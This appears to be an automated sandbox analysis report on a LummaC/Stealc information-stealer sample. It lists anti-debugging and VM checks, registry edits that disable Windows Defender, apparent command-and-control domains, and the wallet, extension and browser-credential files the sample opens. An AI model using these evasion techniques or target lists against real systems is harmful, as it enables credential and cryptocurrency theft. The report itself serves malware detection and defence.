Source: C:\Users\user\AppData\Local\Temp\8CSTUASNAAUHVJJRN9AXIJCX4LCV02Z.exe	Special instruction interceptor: First address: 61B68A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\8CSTUASNAAUHVJJRN9AXIJCX4LCV02Z.exe	Special instruction interceptor: First address: 46F8F6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\8CSTUASNAAUHVJJRN9AXIJCX4LCV02Z.exe	Special instruction interceptor: First address: 6A1F1D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe	Special instruction interceptor: First address: 33538B instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe	Memory allocated: 4A10000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe	Memory allocated: 4F30000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe	Memory allocated: 4C40000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\8CSTUASNAAUHVJJRN9AXIJCX4LCV02Z.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8CSTUASNAAUHVJJRN9AXIJCX4LCV02Z.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8CSTUASNAAUHVJJRN9AXIJCX4LCV02Z.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe

Code function: 3_2_004A97F5 rdtsc

3_2_004A97F5

Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe

Code function: 3_2_004BBBDD sidt fword ptr [esp-02h]

3_2_004BBBDD

Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\Desktop\NYMPo215Qd.exe TID: 3564	Thread sleep time: -210000s >= -30000s			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe TID: 5608	Thread sleep time: -922337203685477s >= -30000s			Jump to behavior

Source: C:\Users\user\Desktop\NYMPo215Qd.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: NYMPo215Qd.exe, 00000000.00000003.2207528956.0000000005E9D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: G9H9BE2GP1UE0C9AS5I0G1FKO.exe, 00000003.00000002.2543331615.00000000004B1000.00000040.00000001.01000000.00000006.sdmp, 8CSTUASNAAUHVJJRN9AXIJCX4LCV02Z.exe, 8CSTUASNAAUHVJJRN9AXIJCX4LCV02Z.exe, 00000004.00000002.2533267932.00000000005F2000.00000040.00000001.01000000.00000009.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: NYMPo215Qd.exe, 00000000.00000003.2207528956.0000000005E9D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: NYMPo215Qd.exe, 00000000.00000003.2207528956.0000000005E9D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: NYMPo215Qd.exe, 00000000.00000003.2207528956.0000000005E9D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696487552f
Source: NYMPo215Qd.exe, 00000000.00000003.2207528956.0000000005E9D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: NYMPo215Qd.exe, 00000000.00000003.2207528956.0000000005E9D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: NYMPo215Qd.exe, NYMPo215Qd.exe, 00000000.00000003.2255482021.0000000001579000.00000004.00000020.00020000.00000000.sdmp, NYMPo215Qd.exe, 00000000.00000003.2181592133.0000000001579000.00000004.00000020.00020000.00000000.sdmp, NYMPo215Qd.exe, 00000000.00000003.2255148116.0000000001579000.00000004.00000020.00020000.00000000.sdmp, 8CSTUASNAAUHVJJRN9AXIJCX4LCV02Z.exe, 00000004.00000002.2533890717.0000000000DC4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: NYMPo215Qd.exe, 00000000.00000003.2207528956.0000000005E9D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: 8CSTUASNAAUHVJJRN9AXIJCX4LCV02Z.exe, 00000004.00000002.2533890717.0000000000D94000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWh
Source: NYMPo215Qd.exe, 00000000.00000003.2207528956.0000000005E9D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: NYMPo215Qd.exe, 00000000.00000003.2207528956.0000000005E9D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: NYMPo215Qd.exe, 00000000.00000003.2207528956.0000000005E9D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696487552
Source: NYMPo215Qd.exe, 00000000.00000003.2207528956.0000000005E9D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: NYMPo215Qd.exe, 00000000.00000003.2207528956.0000000005EA2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696487552p
Source: 8CSTUASNAAUHVJJRN9AXIJCX4LCV02Z.exe, 00000004.00000002.2533890717.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware3
Source: NYMPo215Qd.exe, 00000000.00000003.2207528956.0000000005E9D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696487552
Source: NYMPo215Qd.exe, 00000000.00000003.2207528956.0000000005E9D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: NYMPo215Qd.exe, 00000000.00000003.2207528956.0000000005E9D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: NYMPo215Qd.exe, 00000000.00000003.2207528956.0000000005E9D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: NYMPo215Qd.exe, 00000000.00000003.2207528956.0000000005E9D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: NYMPo215Qd.exe, 00000000.00000003.2207528956.0000000005E9D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: NYMPo215Qd.exe, 00000000.00000003.2207528956.0000000005E9D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: NYMPo215Qd.exe, 00000000.00000003.2207528956.0000000005E9D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: NYMPo215Qd.exe, 00000000.00000003.2207528956.0000000005E9D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: NYMPo215Qd.exe, 00000000.00000003.2207528956.0000000005E9D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: NYMPo215Qd.exe, 00000000.00000003.2207528956.0000000005E9D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: NYMPo215Qd.exe, 00000000.00000003.2207528956.0000000005E9D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: 8CSTUASNAAUHVJJRN9AXIJCX4LCV02Z.exe, 00000004.00000002.2533890717.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: NYMPo215Qd.exe, 00000000.00000003.2207528956.0000000005E9D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: NYMPo215Qd.exe, 00000000.00000003.2207528956.0000000005E9D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: NYMPo215Qd.exe, 00000000.00000003.2207528956.0000000005E9D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: NYMPo215Qd.exe, 00000000.00000003.2207528956.0000000005E9D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: NYMPo215Qd.exe, 00000000.00000003.2207528956.0000000005E9D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: NYMPo215Qd.exe, 00000000.00000003.2207528956.0000000005E9D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: G9H9BE2GP1UE0C9AS5I0G1FKO.exe, 00000003.00000002.2543331615.00000000004B1000.00000040.00000001.01000000.00000006.sdmp, 8CSTUASNAAUHVJJRN9AXIJCX4LCV02Z.exe, 00000004.00000002.2533267932.00000000005F2000.00000040.00000001.01000000.00000009.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: NYMPo215Qd.exe, 00000000.00000003.2207528956.0000000005E9D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: NYMPo215Qd.exe, 00000000.00000003.2207528956.0000000005E9D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Users\user\Desktop\NYMPo215Qd.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\NYMPo215Qd.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8CSTUASNAAUHVJJRN9AXIJCX4LCV02Z.exe	Thread information set: HideFromDebugger	Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\8CSTUASNAAUHVJJRN9AXIJCX4LCV02Z.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\8CSTUASNAAUHVJJRN9AXIJCX4LCV02Z.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\8CSTUASNAAUHVJJRN9AXIJCX4LCV02Z.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\8CSTUASNAAUHVJJRN9AXIJCX4LCV02Z.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\8CSTUASNAAUHVJJRN9AXIJCX4LCV02Z.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\8CSTUASNAAUHVJJRN9AXIJCX4LCV02Z.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\8CSTUASNAAUHVJJRN9AXIJCX4LCV02Z.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\8CSTUASNAAUHVJJRN9AXIJCX4LCV02Z.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\8CSTUASNAAUHVJJRN9AXIJCX4LCV02Z.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\8CSTUASNAAUHVJJRN9AXIJCX4LCV02Z.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\8CSTUASNAAUHVJJRN9AXIJCX4LCV02Z.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8CSTUASNAAUHVJJRN9AXIJCX4LCV02Z.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8CSTUASNAAUHVJJRN9AXIJCX4LCV02Z.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8CSTUASNAAUHVJJRN9AXIJCX4LCV02Z.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe

Code function: 3_2_004A97F5 rdtsc

3_2_004A97F5

Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe

Code function: 3_2_0032B806 LdrInitializeThunk,

3_2_0032B806

Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: 8CSTUASNAAUHVJJRN9AXIJCX4LCV02Z.exe PID: 992, type: MEMORYSTR

LummaC encrypted strings found

Source: NYMPo215Qd.exe, 00000000.00000003.2134150345.0000000005370000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: debonairnukk.xyz
Source: NYMPo215Qd.exe, 00000000.00000003.2134150345.0000000005370000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: diffuculttan.xyz
Source: NYMPo215Qd.exe, 00000000.00000003.2134150345.0000000005370000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: effecterectz.xyz
Source: NYMPo215Qd.exe, 00000000.00000003.2134150345.0000000005370000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: deafeninggeh.biz
Source: NYMPo215Qd.exe, 00000000.00000003.2134150345.0000000005370000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: immureprech.biz
Source: NYMPo215Qd.exe, 00000000.00000003.2134150345.0000000005370000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: tacitglibbr.biz

Source: G9H9BE2GP1UE0C9AS5I0G1FKO.exe, G9H9BE2GP1UE0C9AS5I0G1FKO.exe, 00000003.00000002.2543695502.00000000004FD000.00000040.00000001.01000000.00000006.sdmp	Binary or memory string: lProgram Manager
Source: 8CSTUASNAAUHVJJRN9AXIJCX4LCV02Z.exe, 8CSTUASNAAUHVJJRN9AXIJCX4LCV02Z.exe, 00000004.00000002.2533267932.00000000005F2000.00000040.00000001.01000000.00000009.sdmp	Binary or memory string: "Program Manager

Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8CSTUASNAAUHVJJRN9AXIJCX4LCV02Z.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\NYMPo215Qd.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Jump to behavior

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1	Jump to behavior

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe

Registry value created: TamperProtection 0

Jump to behavior

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations	Jump to behavior

Source: C:\Users\user\Desktop\NYMPo215Qd.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: NYMPo215Qd.exe PID: 6508, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 00000004.00000003.2446320342.0000000004C00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2533890717.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2533061798.0000000000221000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 8CSTUASNAAUHVJJRN9AXIJCX4LCV02Z.exe PID: 992, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: NYMPo215Qd.exe	String found in binary or memory: %appdata%\Electrum-LTC\wallets
Source: NYMPo215Qd.exe	String found in binary or memory: %appdata%\\ElectronCash\\wallets","m":["*"],"z":"Wallets/ElectronCash","d":0
Source: NYMPo215Qd.exe	String found in binary or memory: lmjkfcffne","ez":"Jaxx Liberty"},{"en":"fihkakfobkmkjojpchpfgcmhfjnmnfpi","ez":"BitApp"},{"en":"kncchdigobghenbbaddojjnnaogfppfj","ez":"iWlt"},{"en":"kkpllkodjeloidieedojogacfhpaihoh","ez":"EnKrypt"},{"en":"amkmjjmmflddogmhpjloimipbofnfjih","ez":"W
Source: NYMPo215Qd.exe	String found in binary or memory: window-state.json
Source: NYMPo215Qd.exe	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: NYMPo215Qd.exe	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: NYMPo215Qd.exe	String found in binary or memory: %appdata%\Ethereum
Source: NYMPo215Qd.exe	String found in binary or memory: \??\C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: NYMPo215Qd.exe, 00000000.00000003.2278545870.00000000015D4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: um","m":["keystore"],"z":"Wallets/Ethereum","d":1,"fs":20971520},{"t":0,"p":(g]

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
